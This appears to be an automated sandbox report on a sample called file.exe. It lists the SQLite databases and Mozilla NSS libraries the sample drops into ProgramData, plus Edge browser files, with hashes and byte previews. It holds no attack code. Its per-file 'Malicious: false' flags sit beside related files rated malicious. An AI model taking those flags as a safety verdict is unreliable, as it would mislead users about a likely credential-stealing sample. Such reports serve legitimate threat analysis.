SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGDHIECAKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: t4GNf3V8mp.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\02c94024-5729-42eb-bb52-f8c4c84305f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44628
Entropy (8bit):	6.096215646244784
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBPwu7hDO6vP6OhiTtVHjDmtgVcGoup1Xl3jVzXr4z:z/Ps+wsI7ynEm6BiT9chu3VlXr4CRo1
MD5:	4FAAB46C72AFE4D6DCFB1DB06C18A0D2
SHA1:	95A6842EAA4C320D849DA65192C00B17D637FDE6
SHA-256:	542CF36EA07CA0CFD7FAB58B1493B1A1E6A518D4AC0CBB9E8B27C22BF4E0ECA5
SHA-512:	353710F804F04CCAF792E5FD7075AB38CAD4A9D8FDE1575FC4C7D47AA327E09659DDFCEA7053F3C48E8A29BEFD71981650D76117B6DF96E3176F977A7F543064
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\224c1431-a147-47b7-9547-97d1bfdadc51.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45875
Entropy (8bit):	6.087853645027921
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQg4osuVcu4hDO6vP6OhiTJ8pQg55xWpcpYL+CAodGoup1Xl3jVf:mMk1rT8HYosuL6BiTjcp1Rodhu3VlXr3
MD5:	5C7865E3489B5B96EF88586C7E09142B
SHA1:	9CE5013CD38E2EC53F20CF04512050B4E65F861D
SHA-256:	067B83952E36B70C3B0E3CCFD808376DB3C0816C095C1FF681D9448B410750AA
SHA-512:	EDFC1E66635509108C31E77B5A785461976D5C6375EF52F17FA13FF483CBE0110F8D1362E1CBD8D49925BF358211E9CD90D03504980254D43B2C1416A1A85B7D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5a3d3930-7211-4e07-bf2c-06078c9e340a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44628
Entropy (8bit):	6.096215646244784
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBPwu7hDO6vP6OhiTtVHjDmtgVcGoup1Xl3jVzXr4z:z/Ps+wsI7ynEm6BiT9chu3VlXr4CRo1
MD5:	4FAAB46C72AFE4D6DCFB1DB06C18A0D2
SHA1:	95A6842EAA4C320D849DA65192C00B17D637FDE6
SHA-256:	542CF36EA07CA0CFD7FAB58B1493B1A1E6A518D4AC0CBB9E8B27C22BF4E0ECA5
SHA-512:	353710F804F04CCAF792E5FD7075AB38CAD4A9D8FDE1575FC4C7D47AA327E09659DDFCEA7053F3C48E8A29BEFD71981650D76117B6DF96E3176F977A7F543064
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9f0ee366-bb83-4fee-9958-07b8c911afe2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44693
Entropy (8bit):	6.095977467615594
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB9wu7hDO6vP6OhiTV8pQg55xWpcGoup1Xl3jVzXr2:z/Ps+wsI7yOEs6BiT3chu3VlXr4CRo1
MD5:	20DC26AC5BD46756EE4B13144F8991A9
SHA1:	1A754BC0036B320CD9055F556620B7462C0A799F
SHA-256:	D3685754DCD5B748D4996D01E22165BA83CF30D2BA6AD09A7A9DAB72B67E4246
SHA-512:	36A331A86D689A6AE371EE12EB653F50D527547D46DBBEEE2BE8C230DD290E2B3DBF823F4E3FD2C65DE2EF0BC22F1E092DA4F784821E0242832085247BE53014
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\aa1656e2-86c0-406c-98f6-c532378662ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-671E7041-19C4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44880647562209575
Encrypted:	false
SSDEEP:	6144:BzKJl4wPskcnOS45gNduqOkJdPquaaaHq:zkc745al+
MD5:	E36B620B4245898AB61C2350C014F5A0
SHA1:	C74C8B2240CF1472ABC4FB232000CC6260A5305E
SHA-256:	FC9B6D21B86EA38619C4691CCD3452C713AF5B00751251CEDBD7518983E97720
SHA-512:	02B47022F918C0896C0DB2E875738F211EA807C2CE57A71F36A8D9BE92B5ED3AFFC8F50A8164019817A85AF5FEA5C6AD23F90C3A6B268DB5F2D8BA646EDE1971
Malicious:	false
Preview:	...@..@...@.....C.].....@...................x...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".viscgw20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ ...2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
